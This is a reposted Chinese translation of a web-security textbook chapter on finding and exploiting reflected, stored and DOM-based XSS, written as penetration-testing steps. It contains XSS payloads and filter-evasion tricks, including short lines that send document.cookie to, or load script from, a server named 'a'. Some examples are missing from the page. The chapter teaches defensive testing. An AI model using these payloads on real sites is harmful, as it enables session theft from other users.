2013年5月28日星期二

黑客攻防技术之查找并利用XSS漏洞

黑客攻防技术之查找并利用XSS漏洞
2011-03-04 10:44:43  来源:人民邮电出版社  作者:石华耀译  编辑:石华耀译  
服务器端应用程序仍然存在所有相关漏洞;然而,攻击者利用应用程序的一些行为执行针对其他终端用户的恶意操作。本节为大家介绍查找并利用XSS漏洞。
查找并利用XSS漏洞(1)
确定XSS漏洞的基本方法是使用下面这个概念验证攻击字符串:
  1. "><script>alert(document.cookie)</script> 
这个字符串被提交给每个应用程序页面中的每一个参数;同时,攻击者监控它的响应,看其中是否出现这个相同的字符串。如果发现攻击字符串按原样出现在响应中,几乎可以肯定应用程序存在XSS漏洞。
如果仅仅是为了尽可能快地确定应用程序中存在的某种XSS漏洞,以向其他应用程序用户实施攻击,那么这个基本方法可能是最为有效的方法,因为它可以实现高 度自动化,而且很少生成错误警报。但是,如果是对应用程序进行复杂的测试,从而确定尽可能多的漏洞,那么在应用基本方法的同时,还需要组合使用更加复杂的 技巧。在以下几种情况下,通过基本的检测方法可能无法确定应用程序中存在的XSS漏洞。
许多应用程序实施基于黑名单的初步过滤,试图阻止XSS攻击。通常,这些过滤在请求参数中寻找<script>之类的表达式,并采取一些防御 措施,如删除或编码表达式,或者完全阻止这类请求。基本检测方法中常用的攻击字符串往往被这些过滤阻止。但是,仅仅因为一个常见的攻击字符串被阻止,并不 能证明一个可利用的漏洞确实存在。如后文所述,在有些情况下,不使用<script>标签,甚至不使用< >和/这些常被过滤掉的字符,也可以利用XSS漏洞。
许多应用程序实施的防XSS过滤存在缺陷,可以通过各种方法避开。例如,假设在处理用户输入前,应用程序删除其中出现的所有<script> 标签。这意味着基本方法中使用的攻击字符串将不会在应用程序的响应中返回。但是,以下一个或几个字符串可轻易避开过滤,成功利用XSS漏洞:
 

注意,在这些情况下,在服务器的响应中,输入的字符串返回前,可能经过净化、编码或其他形式的修改,因而还不足以实现对XSS漏洞的利用。这时,提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法将无法成功发现漏洞。
当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器DOM中,并可被客户端JavaScript访问。同样,在这种情况下,提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法将无法成功发现漏洞。
1. 查找并利用反射型XSS漏洞
检测反射型XSS漏洞的最可靠方法的初始步骤与前面描述的基本方法类似。
渗透测试步骤
选择任意一个字符串,该字符串不曾出现在应用程序的任何地方,而且其中仅包含字母字符,因此不可能受到针对XSS过滤的影响。例如:
myxsstestdmqlwp
提交这个字符串,以其作为每个页面的每一个参数,且每次只针对一个参数。
监控应用程序的响应,看其中是否出现这同一个字符串。记下参数值被复制到应用程序响应中的每一个参数。这些参数不一定容易受到攻击,但需要对它们进行深入分析,其过程将在后文中描述。
注意,必须测试所有GET与POST请求,检查URL查询字符串与消息主体中的每一个参数。虽然有少数XSS漏洞传送机制只能通过一个POST请求触发,但仍有可能对漏洞加以利用,如前文所述。
除标准的请求参数外,还应该检测HTTP请求消息头内容被应用程序处理的每一种情况。有一种常见的XSS漏洞出现在错误消息中,这时Referer与 User-Agent消息头之类的数据项被复制到消息的内容中。这些消息头是传送反射型XSS攻击的有效工具,因为攻击者可以使用一个Flash对象诱使 受害者提出一个包含任意HTTP消息头的请求。
渗透测试员必须对记下的每个潜在的漏洞进行手动分析,确定其是否确实可被利用。这时,渗透测试的目的是找到一种设计输入的方法,以便当它被复制到应用程序响应的相同位置时,任何JavaScript脚本都能够得以执行。下面分析这方面的一些示例。
例1
假设返回的页面中包含以下脚本:
  1. <input type="text" name="address1" value="myxsstestdmqlwp"> 
很明显,利用XSS的一种方法是终止包含字符串的双引号,结束<input>标签,然后通过其他方法引入JavaScript脚本(使用<script>、<img src= ''javascript:...''>等)。例如:
  1. "><script>alert(document.cookie)</script><!-- 
在这种情况下,另一种可以避开某些输入过滤的利用方法,是在<input>标签内注入一个包含JavaScript的事件处理器。例如:
  1. "onfocus="alert(document.cookie) 
例2
假设返回的页面中包含以下脚本:
  1. <script>var a = ''myxsstestdmqlwp''; var b = 123; ... </script> 
这时,受控制的字符串被直接插入到现有的一段脚本中。要利用XSS,可以终止字符串周围的单引号,用一个分号终止整个语句,然后直接处理想要执行的 JavaScript。例如:
  1. ''; alert(document.cookie); var foo='' 
注意,因为已经终止了一个被引用的字符串,为阻止JavaScript注释器出现错误,必须在 注入的代码后使用有效的语法确保脚本继续正常执行。在这个示例中,变量foo被声明,另一个引用字符串被打开,它们将被紧随在字符串后面的代码终止。另一 种经常有效的方法是使用//结束输入,将剩下的脚本当作注释处理。
例3
假设返回的页面中包含以下脚本:
  1. <img src="myxsstestdmqlwp"> 
这时,受控制的字符串插入到一个<img>标签的src属性中。在一些浏览器中,这个属性可能包含一个使用javascript:协议的 URL,从而可以使用以下脚本直接利用XSS:
  1. javascript:alert(document.cookie); 
要向当前所有的浏览器实施攻击,可以同时使用一个无效的图像名称与一个onerror事件处理器:
  1. "onerror="alert(document.cookie) 
提示 和其他攻击一样,渗透测试员必须对请求中出现的任何特殊字符进行URL编码,包括& = + ;和空格。
其他JavaScript进入点
除了上面举出的常见示例外,HTML 语言的复杂性还造成许多其他可能的XSS攻击进入点。许多这类进入点受到不同浏览器平台和版本处理不常见HTML时出现的反常行为的影响,如下所示。
在Internet Explorer中,许多标签在一个expression字符串中接受一个包含JavaScript的style 属性。例如:
 

在Firefox中,如果控制一个刷新元标签(refresh meta tag)的content属性,就能够注入一个使用javascript:协议的URL(同时实现任意重定向)。例如:
 


如果遇到任何不熟悉的反常情况,建议参阅RSnake维护的XSS简要说明,地址为:http://ha.ckers.org/xss.html。 
 
 
黑客攻防技术之查找并利用XSS漏洞
2011-03-04 10:44:43  来源:人民邮电出版社  作者:石华耀译  编辑:石华耀译  
服务器端应用程序仍然存在所有相关漏洞;然而,攻击者利用应用程序的一些行为执行针对其他终端用户的恶意操作。本节为大家介绍查找并利用XSS漏洞。
 查找并利用XSS漏洞(2)
渗透测试步骤
对于在前面步骤中记下的每一个潜在的XSS漏洞,采取以下措施。
检查HTML源代码,确定受控制的字符串的位置。
如果字符串出现在几个位置,应将每个位置当作一个潜在的漏洞,分别进行分析。
根据用户控制的字符串在HTML中的位置,确定需要如何对其进行修改以使任意JavaScript得以执行。通常,有大量方法可成为传送攻击的有效工具。
尝试使用前面描述的各种注入向量,并参阅http://ha.ckers.org/xss.html中的XSS简要说明确定其他不常用的向量。
向应用程序提交设计的字符串,测试它是否有用。如果设计的字符串仍然按原样返回,表示应用程序存在XSS漏洞。使用一段概念验证脚本显示一个警报对话框,重复检查语法是否正确,并确定响应显示时,对话框是否出现在浏览器中。
通常情况下最初提交的攻击字符串并不会被服务器按原样返回,因而无法成功执行注入的JavaScript。如果是这样,不要放弃!接下来应该确定服务器对输入进行了哪些处理。主要有以下三种可能的情况。
应用程序发现一个攻击签名,完全阻止了输入。
应用程序已经接受了输入,但对攻击字符串进行了某种净化或编码。
应用程序把攻击字符串截短至某个固定的最大长度。
我们将分别分析每一种情况,并讨论如果通过每种方法避开应用程序设立的障碍。
避开基于签名的过滤
在第一种类型的过滤中,应用程序通常会对攻击字符串做出与无害字符串截然不同的响应,例如,通过一条错误消息,甚至会指出发现一个可能的XSS攻击,如图12-9所示。
 
(点击查看大图)图12-9 一条由ASP.NET反XSS过滤器生成的错误消息
如果出现这种情况,那么接下来,应该确定输入中的哪些字符或表达式触发了过滤。一种有效的方法是轮流删除字符串的不同部分,看输入是否仍然被阻止。通常, 使用这种方法可迅速查明是否是某个特殊的表达式(如<script>)造成请求被阻止。如果确实如此,那么需要对过滤进行测试,看是否有任何 避开过滤的办法。避开现实世界中XSS过滤的常用方法有以下几种。
许多过滤匹配特殊的标签,包括起始与结束尖括号。然而,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:
 
因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。如果是这样,那么通过改变字符大小写即可避开这些过滤。例如:
 
一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容。即使这时除了注入一个新标签外没有别的办法,但通常还可以依靠周围的现有语法,结束注入的标签,从而避开这种过滤。例如,如果可以控制下面代码中的value属性值:
 
那么就可以使用以下不会被过滤阻止的脚本,注入一个包含JavaScript的新标签:
 

在许多情况下,浏览器接受未结束的HTML标签;攻击者可以利用这种行为避开过滤。下面的代码属于无效HTML代码,但其中注入的JavaScript仍然得以执行:
 
一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。这时,可以通过使用多余的括号(为浏览器所接受)避开过滤。例如:

即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤。例如:
在不同的目标浏览器中,通常可以在被过滤的表达式中插入能够避开过滤、但仍被浏览器接受的字符。例如:
 
如果用户提交的数据在应用过滤后还(进一步)进行了规范化,那么攻击者仍然可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞加以利用。例如:
 
由于在服务器执行所有输入确认后,在响应中返回的攻击有效载荷会被受害者的浏览器解码,这时就会出现一种避开常规规范化的特殊情况。某些时候,攻击者可以 对攻击有效载荷进行HTML编码以避开服务器的输入确认,受害者的浏览器将会再次解码有效载荷。例如,表达式javascript:常被阻止以防止使用这 种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。例如:
 
由于在服务器执行所有输入确认后,在响应中返回的攻击有效载荷会被受害者的浏览器解码,这时就会出现一种避开常规规范化的特殊情况。某些时候,攻击者可以 对攻击有效载荷进行HTML编码以避开服务器的输入确认,受害者的浏览器将会再次解码有效载荷。例如,表达式javascript:常被阻止以防止使用这 种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。例如:
这些示例分别使用标准的UTF-8编码、利用多余填补数据的标准编码以及省略分号的十六进制编码。当然,不同编码类型的可能组合数量非常庞大。
提示 有时渗透测试员能够成功执行一些JavaScript脚本,但对于在代码中可使用哪些命令与关键字存在一些限制。在这种情况下,可以通过动态创建并 执行语句来避开应用程序的过滤。例如,如果应用程序阻止用户提交的任何包含表达式document.cookie的数据,那么使用以下输入即可轻易避开这 种过滤:

 
或者
 

第2记录/5页 前一页 1 2 3 4 5  后一页

查找并利用XSS漏洞(3)
避开净化
当尝试利用潜在的XSS漏洞时,避开净化可能是所有障碍中最为常见的一种。这时,应用程序对攻击字符串执行某种净化或编码,使其变得无害,防止它执行JavaScript。
对传送攻击所需的某些关键字符进行HTML编码(因此 < 变成 &lt;,> 变成 &gt;)是应用程序实行数据净化最常见的做法。其他情况下,应用程序可能会完全删除某些字符或表达式,试图清除输入中的恶意内容。
如果遇到这种防御,首先应查明应用程序净化哪些字符与表达式,以及是否仍然可通过剩下的字符实施攻击。例如,如果输入的数据被直接插入到现有的一段脚本 中,那么可能不需要使用任何HTML标签字符。如果只有使用已被净化的输入才能实施攻击,那么需要测试净化过滤的效率,以确定是否可找到任何避开过滤的方 法。以下是一些避免净化的常用方法。
如果过滤完全删除某些表达式,并且至少有一个被删除的表达式长度超过一个字符,那么只要应用程序没有进行递归净化,就有可能避开过滤。例如:
  1. <scr<script>ipt> 
和前面描述的避开基于签名的过滤一样,也可以通过编码被过滤的表达式或在它们之前插入一个空字节,从而避开净化过滤。
当在现有的一段脚本中注入一个引用字符串时,应用程序经常在注入的引号字符前插入反斜线字符。应用程序这样做是为了对引号进行转义,阻止攻击者终止字符 串,注入任意脚本。在这种情况下,应该始终核实反斜线字符本身是否被转义。如果其未被转义,那么这种过滤就可以轻易避开。例如,如果能够控制下面的foo 值:
  1. var a = ''foo''
那么就可以注入
  1. foo\''; alert(document.cookie);// 
这段代码生成如下响应,其中含有受控制的脚本。注意,必须使用JavaScript注释符号//将剩下的脚本作为注释处理,防止应用程序自己的字符串分隔符造成语法错误。
  1. var a = ''foo\\''; alert(document.cookie);//''; 
在前面的示例中,如果发现反斜线字符被正确转义,但尖括号却按原样返回,那么攻击者可以使用以下攻击字符串:
  1. </script><script>alert(document.cookie)</script> 
这样做可废弃应用程序中原来的脚本,并在其后注入一段新的脚本。攻击之所以能够成功,是因为浏览器在解析植入的JavaScript之前,优先解析HTML标签。
  1. <script>var a = ''</script><script>alert(document.cookie)</script> 
此时,虽然原来的脚本中包含一个错误,但这无关紧要;因为浏览器会跳过这个错误,继续执行注入的脚本。
在前面的两个攻击中,即使攻击者能够控制一段脚本,但由于应用程序对单引号或双引号进行了转义,他也无法使用它们,但可以使用String.fromCharCode技巧,不用分隔符创建字符串。
提示 在前面描述的几种避开过滤的方法中,攻击导致的畸形HTML仍然被客户浏览器所接受。由于大量合法Web站 点包含并不严格遵守标准的HTML代码,因此浏览器接受各种形式的非法HTML,并且在页面显示前,在后台修复其中的错误。通常,查阅浏览器在服务器的实 际响应之外创建的虚拟HTML会有助于攻击者在反常情况下调整攻击。在Firefox中,可以使用WebDeveloper 工具,它的"查看生成的源文件"(View Generated Source)功能正好可完成这项任务。
突破长度限制
当应用程序把输入截短为一个固定的最大长度时,有三种建立攻击字符串的方法。
第一种相当明显的方法是尝试使用最短可能长度的JavaScriptAPI,删除那些通常包含在内但并不完全必要的字符,缩短攻击有效载荷。例如,如果注入现有的一段代码,下面的 28 字节命令将把用户的cookie传送至主机名为a:的服务器。
  1. open("//a/"+document.cookie) 
另外,如果直接注入 HTML,那么下面这个30字节的标签将从主机名为a:的服务器加载并执行一段脚本。
  1. <script src=http://a></script> 
在因特网上,这些示例明显需要进行扩展,在其中包含一个有效的域名或IP地址。但是,内部企业网络实际有可能使用一台WINS名为a的机器作为接收服务器。
提示 可以使用Dean Edward的JavaScript packer工具(见http://dean.edwards.name/ packer/)删除不必要的空白符,尽可能地缩短某一段脚本。这个工具还可将脚本转换成单独一行,方便插入到一个请求参数中。
第二种更加强大的突破长度限制的技巧是将一个攻击有效载荷分布到几个不同的位置,用户控制的输入在这里插入到同一个返回页面中。以下面的URL为例:
  1. https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal 
它将返回一个包含以下内容的页面:
 

假设应用程序对每个字段实施了长度限制,以阻止在其中插入有效的攻击字符串。但是攻击者仍然可以使用以下URL将一段脚本分布到他所控制的三个位置,从而传送一个有效的攻击字符串:
 

这个URL的参数值植入到页面中后,生成如下脚本:
 

最终得到的HTML完全有效,等同于加粗显示的部分。其中的源代码块已成为JavaScript注释(包含在/*与*/之间),因此被浏览器忽略。这样,注入的脚本被执行,就好像它被完整地插入到页面的某一个位置一样。
提示 这种将一个攻击有效载荷分布到几个字段中的技巧,有时还可用于避开其他类型的防御过滤。应用程序经常对单独一个页面的不同字段执行不同的数据确认与 净化。在前面的示例中,假设page_id与mod参数的最大长度为12个字符。由于这些字段如此地短,因此应用程序的开发者没有对其实施任何XSS过 滤。另一方面,seed参数的长度没有限制,因此应用程序对其实施严格的过滤,以防止攻击者在其中注入"<或>字符。在这种情况下,尽管开发 者实施了过滤,但攻击者不使用任何被阻止的字符,仍然能够在seed参数中插入一段任意长度的脚本,因为注入到周围字段中的数据可以建立 JavaScript环境。
第三种在某些情况下非常有效的突破长度限制的技巧是,将一个反射型XSS漏洞"转换"成一个基于DOM的漏洞。例如,在最初的反射型XSS漏洞中,如果应 用程序对复制到返回页面中的message参数设置长度限制,那么就可以注入以下46字节的脚本,它对当前URL中的片断字符串(fragment string)求值。
 

通过在易于受到反射型XSS攻击的参数中注入这段脚本,可以在生成的页面中造成一个基于DOM的XSS漏洞,从而执行位于片断字符串中的另一段脚本,它不受应用程序过滤的影响,可为任意长度。例如:

 

修改请求方法
在使用大量表单的复杂应用程序中,在POST请求中常常可以找到几个反射型XSS漏洞,这时,易受攻击的参数在HTTP消息主体中提交。在这种情况下,我 们有必要进行判定,如果将POST请求转换为GET请求,应用程序是否对请求进行相同的处理。许多应用程序接受以上任何一种请求。
要进行这种检查,只需将设计请求的方法由POST改为GET,将消息主体转移到URL查询字符串中(如果查询字符串已经存在,就插入另外一个&),然后删除Content-Length消息头。可以使用 Burp Proxy 的"改变请求命令(Change Request Method)"操作完成这项任务。
测试新的请求,如果XSS有效载荷仍然得以执行,那么就可以使用GET请求中的URL作为攻击向量。这种向量可通过一系列攻击传送机制传送,因此,它增加了某些情况下漏洞的严重程度。
错误观点 "这个XSS漏洞无法被利用。因为攻击者无法通过GET请求实施攻击。"
如果一个反射型XSS漏洞只能使用POST方法加以利用,应用程序仍然会受到各种攻击传送机制的影响,包括使用恶意第三方Web站点的传送机制。
有时,把使用GET方法的攻击转换成使用POST方法的攻击允许避开某些过滤。许多应用程序在整个应用程序中执行某种常规过滤,阻止已知的攻击字符串。如 果一个应用程序希望收到使用GET方法的请求,它可能只对URL查询字符串执行这种过滤。将请求转换为使用POST方法就可以完全避开这种过滤。


服务器端应用程序仍然存在所有相关漏洞;然而,攻击者利用应用程序的一些行为执行针对其他终端用户的恶意操作。本节为大家介绍查找并利用XSS漏洞。
查找并利用XSS漏洞(4)
使用非标准内容编码
有些时候可以使用一种非常强大的方法,致使应用程序接受攻击有效载荷中的非标准编码,从而避开各种类型的过滤。
下面的示例说明了字符串<script>alert(document.cookie)</script>的一些非标准编码表示法。
 

这些编码后的字符串可避开许多常见的反XSS过滤。UTF-7与US-ASCII编码允许避免使用常被净化掉的<和>字符;UTF-16 编码并不包含任何常见的黑名单表达式,如<script。
默认情况下,今天的浏览器并不自动接受非标准编码,因此攻击者必须使用HTTPContent- Type消息头的charset属性或其对应的HTML元标签,明确指定编码类型。如果能够控制这些位置,就可以使用非标准编码避开应用程序的过滤,使得 浏览器按照需要的方式解释有效载荷。一些应用程序在某些请求中提交charset参数,允许直接设置通过应用程序响应指定的编码类型。
提示 自动检测内容编码有一个条件,即Internet Explorer接受出现在HTML中的空字节,并在大多数情况下完全忽略它们。只要URL编码的空字节()被应用程序以真正的空字节返回,尽管服 务器返回Content-Type消息头,通常攻击者仍然可以使用UTF-16编码处理XSS有效载荷,避开基于模式的过滤(pattern-based filter)。例如,在最初的反射型XSS漏洞中,以下使用UTF-16编码的有效载荷的攻击可在Internet Explorer中实施有效攻击:
 

因为Internet Explorer忽略空字符,所以它自动解码有效载荷,使得最初的攻击得以执行。
2. 查找并利用保存型XSS漏洞
确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程有很多相似之处,都包括提交一个特殊的字符串作为每个页面的每一个参数。但是,这两个过程之间也存在着一些重要的区别。必须记住这些区别,以确定尽可能多的漏洞。
渗透测试步骤
向应用程序中的每一个可能的位置提交一个特殊的字符串后,必须反复检查应用程序的整个内容与功能,确定这个字符串在浏览器中显示的任何情况。在一个位置 (例如,个人信息页面的姓名字段)输入用户控制的数据,这个数据可能会在应用程序的许多不同位置显示(例如,用户主页上、注册用户列表中、任务等工作流程 项目中、其他用户的联系列表中、用户提交的消息或问题中、应用程序日志中等)。应用程序可能对每个出现的字符串实施了不同的保护性过滤,因此需要对它们进 行单独分析。
如有可能,应检查管理员能够访问的所有应用程序区域,确定其中是否存在任何可被非管理用户控制的数据。例如,应用程序一般允许管理员在浏览器中检查日志文件。这种类型的功能极有可能包含XSS漏洞,攻击者通过生成含有恶意HTML的日志记录即可对其加以利用。
在向应用程序中的每个位置提交一个测试字符串时,并不总是把它作为每个页面的每一个参数这样简单。在保存被提交的数据之前,许多应用程序功能需要经历几个 阶段的操作。例如,注册新用户、处理购物订单、转账等操作往往需要按预定的顺序提交几个不同的请求。为避免遗漏任何漏洞,必须确保每次测试彻底完成。
当探查反射型XSS漏洞时,应该注意能够控制的受害者的请求的每一个方面。包括请求的所有参数和每一个HTTP消息头,因为可以使用一个专门设计的 Flash 对象控制它们。当探查保存型XSS漏洞时,还应该分析应用程序接收并处理能够控制的输入的任何带外通道。任何这类通道都是引入保存型XSS攻击的适当攻击向量。同时,审查在应用程序解析过程中得到的结果(请参阅第 4 章了解相关内容),确定每一个可能的受攻击面。
如果应用程序允许文件上传与下载,应始终探查这种功能是否易于受到保存型XSS攻击。如果应用程序允许HTML或文本文件,且并不确认或净化它们的内容, 那么几乎可以肯定它们易于受到攻击。如果它允许JPEG文件且并不确认其中是否包含有效的图像,那么它可能易于受到针对Internet Explorer用户的攻击。测试应用程序如何处理它支持的每种文件类型,并弄清浏览器如何处理包含HTML而非正常内容的响应。
充分发挥想象,确定控制的数据是否可通过任何其他方法保存在应用程序中并显示给其他用户。例如,如果应用程序的搜索功能显示常用的搜索项列表,就可以通过多次搜索这个列表,引入一个保存型XSS有效载荷,即使主搜索功能安全处理输入。
确定用户控制的数据被应用程序保存并随后在浏览器中显示的每一种情况后,应当遵循与前面描述的探查潜在的反射型XSS漏洞时相同的过程。也就是说,决定需要提交哪些输入,以在周围的HTML中嵌入有效的 JavaScript,然后尝试避开干扰攻击有效载荷执行的过滤。
提示 当探查反射型XSS漏洞时,通过每次测试一个参数,并检查每个响应中是否出现输入,就可以轻易确定哪些请求参数易于受到攻击。但是,当探查保存型 XSS漏洞时,要确定这一点并不容易。如果在每个页面的每一个参数提交相同的测试字符串,那么可能会发现,这个字符串在应用程序的许多位置重复出现,因而 无法准确确定每个出现的字符串由哪个参数负责。为避免出现这个问题,当探查保存型XSS时,可以为每个参数提交一个不同的测试字符串,例如,把测试字符串 与它提交到其中的字段名称连接起来。
3. 查找并利用基于DOM的XSS漏洞
使用以下方法无法确定基于DOM的XSS漏洞:提交一个特殊的字符串作为参数,然后监控响应中是否出现该字符串。
确定基于DOM的XSS漏洞的基本方法是,用浏览器手动浏览应用程序,并修改每一个URL参数,在其中插入一个标准测试字符串,例如:
  1. "<script>alert(document.cookie)</script> 
通过在浏览器中显示每一个返回的页面,可以执行所有客户端脚本,必要时引用修改的URL参数。只要包含cookie的对话框出现,就表示发现了一个漏洞 (可能为基于DOM的或标准的反射型XSS漏洞)。使用一个执行自身JavaScript注释器的工具甚至可以自动完成这个过程。
然而,这种基本的方法并不能确定所有基于DOM的XSS漏洞。如上文所述,在一个HTML文档中注入有效JavaScript所需的准确语法,取决于用户 可控制的字符串插入点前后已经存在的语法。可能需要终止一个被单引号或双引号引用的字符串,或者结束特殊的标签。有时可能需要插入新标签,但有时并不需 要。应用程序可能会以各种方式修改输入,但它仍然易于受到攻击。
即使应用程序可能易于受到精心设计的攻击,但如果插入标准测试字符串仍不能得到有效的语法,那么嵌入式JavaScript将不会执行,因此也不会有对话框出现。由于无法在每个参数中提交每一种可能的XSS攻击字符串,这种基本的探查方法必然会遗漏大量的漏洞。
确定基于DOM的XSS漏洞的一种更加有效的方法是检查所有客户端 JavaScript,看其中是否使用了任何可能会导致漏洞的DOM属性。

查找并利用XSS漏洞(5)
渗透测试步骤
使用在应用程序解析过程中得到的结果(请参阅第4章了解相关内容),检查每一段客户端JavaScript,看其中是否出现以下 API,它们可用于访问通过一个专门设计的URL控制的数据:
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
确保检查出现在静态HTML页面及动态生成的页面中的脚本,无论页面为何种类型,或者是否看到被提交给页面的参数,任何使用脚本的位置都可能存在基于DOM的XSS漏洞。
在每一个使用上述API的位置,仔细检查那里的代码,确定应用程序如何处理用户可控制的数据,以及是否可以使用专门设计的输入促使任意JavaScript得以执行。尤其注意检查并测试控制的数据被传送至以下任何一个API的情况:
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()
和查找反射与保存型XSS漏洞时一样,我们可能会发现应用程序执行了一些过滤,阻止包含某些恶意字符串的请求。即使客户端出现易受攻击的操作,服务器并不 在响应中返回用户提交的数据,但是URL仍然被提交给了服务器;因此,当应用程序检测到恶意有效载荷时,它会对数据进行确认,且不会返回易受攻击的客户端 脚本。
如果遇到这种防御,渗透测试员应该尝试使用前面在查找反射型XSS漏洞时描述的每一种可能避开过滤的攻击方法,测试服务器数据确认机制的可靠性。除这些攻击外,还有几种专门针对基于DOM的XSS漏洞的技巧可帮助攻击有效载荷避开服务器端确认。
当客户端脚本从URL中提取一个参数值时,它们很少将查询字符串正确解析成名称/值对。相反,它们通常会在URL中搜索后面紧跟着等号(=)的参数名称,然后提取出等号后直到URL结束位置的内容。这种行为能够以两种方式加以利用。
如果服务器根据每个参数而不是整个URL应用确认机制,那么可以将有效载荷插入到附加在易受攻击的参数后面的一个虚构参数中。例如:
 

这时,虚构的参数被服务器忽略,因此不会受到任何过滤。但是,因为客户端脚本在查询字符串中搜索message=,并提取其后的全部内容,所以它处理的字符串中正好包含该有效载荷。
如果服务器对整个URL而不仅仅是消息参数应用确认机制,仍然可以将有效载荷插入到HTML片断字符#的右边,从而避开过滤。例如:
 

这时,片断字符串(fragment string)仍然属于URL的一部分,因此被保存在DOM中,并由易受攻击的客户端脚本处理。但是,由于浏览器并不将URL中的片断部分提交给服务器, 因此攻击字符串不会传送到服务器中,因而不会被任何服务器端过滤所阻止。因为客户端脚本提取message=后面的全部内容,所以有效载荷仍然被复制到 HTML页面源代码中。
错误观点 "我们检查每个用户请求中是否存在嵌入式脚本标签,因此不可能受到XSS攻击。"
除避开过滤是否可行外,现在可以找到三个原因证明这种看法并不正确。
在一些XSS漏洞中,攻击者控制的数据被直接插入到现有的一段JavaScript脚本中,因此攻击者不需要使用脚本标签或Javascript:协议。在其他情况下,仍然不需要使用任何脚本标签,只需注入一个包含JavaScript的事件处理器即可。
如果应用程序接受通过带外通道传送的数据,并在它的Web界面中显示这些数据,那么攻击者不用使用HTTP提交任何恶意有效载荷,就可以利用任何保存型XSS漏洞。
针对基于DOM的XSS漏洞的攻击不需要向服务器提交任何恶意有效载荷。如果使用片断技巧,那么有效载荷将始终位于客户端。
一些应用程序使用更加复杂的客户端脚本,对查询字符串进行更加严格的解析。例如,它在URL中搜索后面紧跟着等号的参数名称,然后提取等号后面的内容,直到遇到一个分隔符,如&或#。在这种情况下,可以对前面的两个攻击进行如下修改:
 

在这两个示例中,第一个message=后面紧跟着攻击字符串,其中没有任何干扰脚本执行的分隔符,因此攻击有效载荷被处理,且被复制到HTML页面源代码中。
有时候,基于DOM的数据经过非常复杂的处理,仅通过静态审查JavaScript源代码可能很难追踪用户控制的数据采用的不同路径以及对它进行的各种操作。在这种情况下,使用一个JavaScript调试器监控脚本的执行情况可能会有很大帮助。Firefox 浏览器的FireBug扩展是一款用于监控客户端代码与内容的优秀调试器,可帮助设置断点(breakpoint)、监视感兴趣的代码与数据,为我们了解复杂脚本的执行过程提供极大的便利。
错误观点 "我们很安全,因为Web应用程序扫描器没有发现任何XSS漏洞。"
第19章将会介绍,一些Web应用程序扫描器能够发现大多数常见的漏洞,包括XSS漏洞。但是,很显然,许多XSS漏洞很难检测出来,发现它们可能需要进行大量探查与试验。就目前而言,还没有任何自动工具能够准确确定所有这些漏洞。

没有评论:

发表评论